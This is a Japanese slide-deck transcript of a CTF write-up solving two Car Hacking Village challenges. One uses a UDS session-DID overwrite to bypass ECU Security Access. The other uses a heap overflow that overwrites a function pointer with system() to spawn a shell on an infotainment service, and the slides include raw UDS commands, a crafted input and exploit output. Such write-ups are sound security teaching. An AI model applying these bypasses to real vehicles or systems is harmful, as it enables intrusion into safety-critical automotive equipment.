Upgrade to Pro — share decks privately, control downloads, hide ads and more …

cartagaitai #2 Car Hacking Village CTF問題解説

Avatar for smz smz
September 26, 2025
160

cartagaitai #2 Car Hacking Village CTF問題解説

Avatar for smz

smz

September 26, 2025
Tweet

Transcript

  1. $ whoami • smz ◦ ⾃動⾞サイバーセキュリティのお仕事 ▪ 機器診断、コンサルなど ◦ セキュリティ・キャンプ2025全国⼤会

    講師 ▪ ⽇程的にDEFCONの直後であり、Car Hacking Village CTFはリモート参戦(Rev要員) 2
  2. 今⽇のコンテンツ • Car Hacking Village CTF 2025で出題された以下2問を解説します ◦ Utterly-Deranged-Server ◦

    Beyond ECU • どちらもUDSと基本的なRev/Pwnを組み合わせた問題 ◦ UDSの知識は前提としません ◦ C⾔語が読めることを前提とします 3
  3. 問題⽂ 5 Iʼve developed a super secure UDS server that

    hackers will never be able to exploit! Prove me wrong by reading DID 0x7A69 and win a big bounty flag. You can talk to the UDS server by using Tx ID 0x769. You must solve this challenge on the CHV floor to get the flag, but I provide you an online mirror to write and test your exploit at 52.9.34.196:9999. In the attachments you'll find a client to connect to the remote instance and a readme explaining how the communication works in case you need/want to implement your own.
  4. UDSのとても⼤雑把な説明 • Unified Diagnostic Service:ECU診断通信の標準規格 ◦ ディーラーでの故障コードの確認やリプログラミングなどで使う ◦ 物理層の通信⽅式は規定していないがCANが⼀般的 •

    Client(診断機)は1バイト⽬にサービスID(SID)を指定して使⽤する機能を選ぶ ◦ 例:DIDの読み取り機能はSID 0x22   DID 0x7a69を読み取るUDSコマンド: 22 7a 69 • Server(ECU)の応答は肯定応答か否定応答かでフォーマットが異なる ◦ 肯定応答の場合 :1バイト⽬に<SID+0x40>を返す。2バイト⽬以降はSIDによって異なる ◦ 否定応答の場合:7F <SID> <NRC>の計3バイトを返す ▪ NRC(Negative Response Code):否定応答の理由を⽰すコード • 正確にはISO 14229-1を読むべきだが、ググればある各サービスのメッセージフォー マット等はわかる 8
  5. ひとまずDID 0x7A69を読んでみる • Read Data By Identifierサービス(SID:0x22)を使う • 否定応答(7F)が返る ◦

    NRCは31(Request out of range) ▪ このNRCは、ECUに当該DIDが存在しない場合、または現在のセッションでは当該DID がサポートされない場合に返る 9 % nc 52.9.34.196 9999 0068656c6c6f 227a69 7f2231
  6. セッションを切り替えてDID 0x7A69を読んでみる • Diagnostic Session Controlサービス(SID:0x10)を使う • 02セッションの場合、NRCが33(Security access denied)となる

    ◦ 02セッションのSecurity Accessを突破すればDIDが読めるはず 10 1003 5003 227a69 7f2231 1003 5003 1002 7f1078 7f1078 7f1078 5002 227a69 7f2233 ↑03(拡張)セッションでの試⾏ ↑02(プログラミング)セッションでの試⾏
  7. 他に使えるサービスはあるか • Read Memory By Addressでファームウェアを読み出し、解析してSecurity Accessを 突破する問題と予想 11 SID

    サービス名 機能概要 10 Diagnostic Session Control セッションの切り替え 22 Read Data By Identifier DIDの読み出し 23 Read Memory By Address アドレス指定によるメモリの読み出し 27 Security Access Challenge & Response認証 2E Write Data By Identifier DIDの書き込み 3E Tester Present セッションのタイムアウト防⽌
  8. Security Accessによる認証フロー 12 Client Server Request Seed: 27 01 Response:

    67 01 [Seed value] Cryptographic Operation Send Key: 27 02 [Key Value] Cryptographic Operation Positive Response: 67 02
  9. ファームウェア抽出を試す • Read Memory By Addressサービス(SID:0x23)を使う • 0x000000〜0x0000089f までの範囲が抜ける(Positive Response)

    ◦ ⽂字列 “Is this a leak? Should we call a plumber?” ◦ ⽂字列 ”Did you lock yourself out without the keys?” ▪ Security Accessに関連するというヒント ◦ x86のコードの断⽚ 13 23 24 00 00 00 00 01 00 SID Address and length format identifier Memory address Memory size
  10. 03セッションのSecurity Accessは突破できたが... • *0x40f697 == 3のケースのコードから03セッション時のSecurityAcessは突破 ◦ *0x40f697 はセッションを指しているらしい •

    02セッションはアルゴリズム・鍵不明のため突破できない ◦ Read Memory By Addressで抜けていない範囲がある? ◦ 02/03以外のセッションがある? ◦ SecurityAccessを突破すると新しいサービスが使える? ▪ などなど試⾏錯誤するも進展なし 16
  11. 0x7A69以外のDIDを⾒直す 17 DID 値 0x539 b'Not here' 0x7a69 <flag> 0xf132

    <現在のセッション> 0xf170 b'Why do pistons make such bad employees? ' 0xf171 b'They only work after they are fired' 0xf172 b'My wife gave birth to our son in the car on our way to the hospital.' 0xf173 b'We named him Carson.' … (以下jokeが続く) Write Data By Identifier サービスで書き換えれば Security Accessの関数を騙 せる...? *0x40f697の値?
  12. Solved! 1. 02セッションに移⾏する (SID:0x10) 2. DID 0xf132を3に書き換える (SID:0x2E) 3. FNV-1aアルゴリズムのSecurity

    Accessを突破する (SID:0x27) 4. DID 0x7a69を読み出す (SID:0x22) 18 CHV{Congrats! Now go solve it one the CHV floor to get the real flag!} 現地メンバーに現地マシンで同じ⼿順を試してもらいreal flag取得
  13. 問題⽂ 20 You've been tasked with penetrating a virtual vehicle's

    ECU network. Starting from the infotainment system, you must navigate through multiple Electronic Control Units (ECUs) to reach the critical engine control module. This multi-stage challenge simulates real-world automotive attack scenarios involving firmware analysis, CAN bus exploitation, and ECU authentication bypass. WiFi SSID: CarHackingCTF, PW: Route44Polyglot33$, URL: http://192.168.22.193:8080/
  14. 現地の実機ディスプレイに表⽰されていた進め⽅ 1. Download and analyze firmware 2. Connect to infotainment

    system 3. Enable debug mode and Exploit 4. Use CAN tools 5. Gateway authentication and engine ECU access 21
  15. Wi-FiからアクセスできるIVIのコンソール 23 === Vehicle Infotainment System v2.1.7 === Initializing... Main

    Menu: 1. Media Player 2. Navigation 3. Settings 0. Exit Choice: 3 === Settings === 1. Display Settings 2. Audio Settings 3. System Info 4. Device Manager 0. Back to Main Menu Choice: 9 Enter version number (x.y.z format):
  16. Version checkのロジックと解 ⼊⼒⽂字列 ?? ?? ?? ?? ?? ?? ??

    ?? strtod() upper lower ?? ?? ?? ?? ?? ?? ?? ?? XOR ?? 07 01 02 これを満たせばcheck passed upper lower xored 左式を満たすupperとlowerの組は多くある 仮にlower = 00 00 00 00とすると upper = 00 07 01 02は左式を満たす そのようなバイト表現となる⼩数は以下 $ python3 >>> import struct; struct.unpack('>d', b'\x00\x07\x01\x02\x00\x00\x00\x00')[0] 9.740172880109696e-309 double型 26
  17. 完全なadminアクセスを得るにはもう1段階必要 27 Enter version number (x.y.z format): 9.740172880109696e-309 Version check

    passed! Basic access granted. Debug option unlocked. Entering debug mode... (中略) === Settings === 1. Display Settings 2. Audio Settings 3. System Info 4. Device Manager 0. Back to Main Menu Choice: 9 Attempt full admin access? (y/n): y Enter admin authentication code:
  18. 典型的なHeap Exploit問題? 29 Enter admin authentication code: 135463 Full admin

    privileges unlocked! Debug option unlocked. Entering debug mode... (中略) === Device Manager === 1. Add Basic Device 2. Add Advanced Device 3. Show Device Status 4. Update Firmware Info 5. Free Device 6. Advanced Diagnostics 7. Allocate Test Chunk Choice:
  19. 1. Add Basic Deviceの実装を⾒てみる 30 Offset Field(想定含む) Size 0x00 Device

    Name 0x10 0x10 Firmware Info 0x64 0x74 Version 0x4 0x78 Status 0x2 0x80 Func ptr for print 0x8 0x88 Debug Info 0x2 malloc()で0x90バイトを確保する 内訳は以下となっている
  20. Exploitの⽅針 33 Add Basic Deviceを実⾏ Update Firmware Infoを実⾏ Show Device

    Statusを実⾏ Device Nameを”/bin/sh”とする 構造体の内容 ============================= Device Name: “/bin/sh” Firmware Info: “Basic device firmware v1.0” Version: 100 Status: 1 Func ptr: print_deviceinfo() Debug Info:0 Heap BOFを利⽤して、Func ptrを system()に書き換える 構造体の内容 ============================= Device Name: “/bin/sh” Firmware Info: “AAAA…” Version: “AAAAAAAA” Status: ”AAAA” Func ptr: system() Debug Info:0 system(“/bin/sh”)が実⾏され シェルが取得できるはず
  21. system関数のアドレスは... 34 === Device Manager === 1. Add Basic Device

    2. Add Advanced Device 3. Show Device Status 4. Update Firmware Info 5. Free Device 6. Advanced Diagnostics 7. Allocate Test Chunk Choice: 6 === Advanced Diagnostics === System functions: printf: 0x40be50 system: 0x40aa20 main: 0x401a38 (優しい)
  22. ローカルでシェルを取得 35 $ python3 exploit_infotainment.py [+] Starting local process '/mnt/android_tmp/bin/infotainment_service':

    pid 7127 [*] Bypassing security checks to get admin... [+] Full admin access granted. [*] Leaked system address: 0x40aa20 [*] Triggering exploit with Basic device... [*] Switching to interactive mode === Slot 0 === $ whoami smz
  23. (あとは流れで)Solved! • ローカルで動いたExploitを現地メンバーに展開して現地実機でもシェルを取得 • 実機上ではcansend.pyというスクリプトがあり任意CAN信号を送信可能 • この先は運営のガイドに従って進めていけば解けたとのこと ◦ GatewayのSecurity Accessサービスのソースコードが与えられる

    ◦ それに従ってSend KeyすることでSecurity Accessを突破できる ◦ GatewayのSecurity Accessを突破すると、Engineが反応を返すようになる ◦ EngineからUDSの肯定応答を得られたら、運営にそれを⾒せるとFlagがもらえる 36